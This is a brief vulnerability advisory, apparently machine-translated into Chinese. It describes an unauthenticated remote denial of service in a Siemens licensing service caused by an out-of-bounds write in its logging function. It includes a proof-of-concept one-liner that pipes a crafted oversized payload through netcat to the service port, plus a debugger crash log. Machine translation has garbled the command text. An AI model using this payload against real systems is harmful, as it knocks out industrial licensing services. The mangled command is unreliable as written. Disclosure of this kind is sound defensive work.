(R1)西门子硅镁质登录拒绝服务

在调查cve - 2017 - 2684我们发现一个新的未经身份验证的远程拒绝服务漏洞slra_servicex.exe。拒绝服务发生因越界写日志功能。在函数中,508字节存储缓冲区传递给vswprintf_s随着用户提供数据。足够大的输入将触发漏洞。

以下可以作为证据的概念。

python - c [galago@galagidae inp]美元“打印\ x00 \ x54 \ x4c \ x53 \ x00 \ x00 \ x00 \ x01“\ x00 ' * 48 ' \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x04 \ 0 x00 ' + ' A ' * x408”| tr - d ' \ n ' |数控192.168.1.123 16389

概念验证将生成如下错误。

0:002 > .lastevent最后事件:d1c。33 C:退出线程2:33c,代码c0000417调试器时间:2017年2月28日13:28:10.802星期二(UTC - 5:00) 0:002 > !错误c0000417错误代码:(NTSTATUS) 0 xc0000417(3221226519) -一个无效的参数传递给C运行时功能。